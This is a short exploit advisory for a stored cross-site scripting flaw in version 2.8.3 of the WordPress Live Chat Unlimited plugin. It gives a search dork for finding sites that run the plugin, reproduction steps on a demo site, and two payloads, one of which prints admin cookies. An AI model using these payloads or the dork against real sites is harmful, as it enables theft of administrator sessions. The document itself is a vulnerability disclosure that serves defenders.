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WordPress Live Chat Unlimited 2.8.3 Cross Site Scripting

WordPress Live Chat Unlimited 2.8.3 Cross Site Scripting
Posted Jun 25, 2019
Authored by m0ze

WordPress Live Chat Unlimited plugin version 2.8.3 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | ab8bc1948bcdc3f2bfb4fe1c92cd333ba1e13b7b2227e3a9a5462063b0160841

WordPress Live Chat Unlimited 2.8.3 Cross Site Scripting

Change Mirror Download
# Exploit Title: Live Chat Unlimited v2.8.3 Stored XSS Injection
# Google Dork: inurl:"wp-content/plugins/screets-lcx"
# Date: 2019/06/25
# Exploit Author: m0ze
# Vendor Homepage: https://screets.com/
# Software Link: https://codecanyon.net/item/wordpress-live-chat-plugin/3952877
# Version: 2.8.3
# Tested on: Windows 10 / Parrot OS
# CVE : -


Info:

Weak security measures like bad input field data filtering has been
discovered in the «Live Chat Unlimited». Current version of this
premium WordPress plugin is 2.8.3.



PoC:

Go to the demo website https://site.com/try/lcx/night-bird/ and open chat window by clicking on «Open/close» link, then click on «Online mode» to go online. Use your payload inside input field and press [Enter].
Provided exaple payloads working on the admin area, so it's possible to steal admin cookies or force a redirect to any other
website.
Example #1: <!--<img src="--><img src=x onerror=(alert)(`m0ze`)//">m0ze
Example #2: <!--<img src="--><img src=x onerror=(alert)(document.cookie)//">m0ze
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